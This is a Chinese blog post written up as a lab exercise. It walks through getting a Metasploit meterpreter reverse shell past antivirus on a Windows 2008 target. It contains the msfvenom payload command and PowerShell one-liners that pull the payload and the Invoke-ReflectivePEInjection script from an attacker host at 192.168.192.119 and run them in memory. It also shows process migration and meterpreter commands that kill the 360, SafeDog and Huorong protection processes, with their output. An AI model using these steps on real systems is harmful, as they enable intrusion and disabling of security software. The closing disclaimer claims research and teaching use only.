|
感谢群友@Erikten投稿 。这篇文章中还是存在有一些亮点,仔细看,相信你能发现!
0x01 环境准备
Windows2008(靶机,装有360、火绒、安全狗、D盾)
Powersploit(PowerShell攻击框架)
https://github.com/PowerShellMafia/PowerSploit
0x02 尝试落地payload
msfvenom -p windows/x64/meterpreter/reverse_tcp -f exe lhost=192.168.192.119 lport=6666 -o ./6666.exe
python3 -m http.server
(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/6666.exe")
0x03 PowerShell内存执行exe
-
先将生成的payload在本地进行base64编码
-
靶机执行远程下载命令
-
靶机对payload进行解码并赋值给一个变量
-
PowerShell远程加载Invoke-ReflectivePEInjection模块(PE反射注入)并执行payload
本地编码payload
function Convert-BinaryToString {
[CmdletBinding()] param (
[string] $FilePath
)
try {
$ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
}
if ($ByteArray) {
$Base64String = [System.Convert]::ToBase64String($ByteArray);
}
else {
throw '$ByteArray is $null.';
}
Write-Output -InputObject $Base64String;
}
Convert-BinaryToString C:6666.exe > C:res.txt
iex(New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/Invoke-ReflectivePEInjection.ps1")
$b64Str = (New-Object Net.WebClient).DownloadString("http://192.168.192.119:8000/res.txt")
$PEBytes = [System.Convert]::FromBase64String($InputString)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ForceASLR
0x04 艰难的后渗透攻击
ps -ef | grep svchost.exe
migrate 336
0x05 Kill主动防御
-
D盾可直接Kill掉
-
360、安全狗Kill掉后,30秒后会再次重启
-
火绒权限不够,无法直接Kill
meterpreter > pkill ZhuDongFangYu.exe
Filtering on 'ZhuDongFangYu.exe'
Killing: 6056
meterpreter > pkill SafeDogGuardCenter.exe
Filtering on 'SafeDogGuardCenter.exe'
Killing: 5752
meterpreter > pkill HipsTray.exe
Filtering on 'HipsTray.exe'
Killing: 7416
stdapi_sys_process_kill: Operation failed: Access is denied.
meterpreter >
0x06 单换杀软的男人
ps -ef | Safe
pkill Safe
推 荐 阅 读
欢 迎 私 下 骚 扰
本文始发于微信公众号(潇湘信安):记一次PowerShell配合Metersploit的艰难提权
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论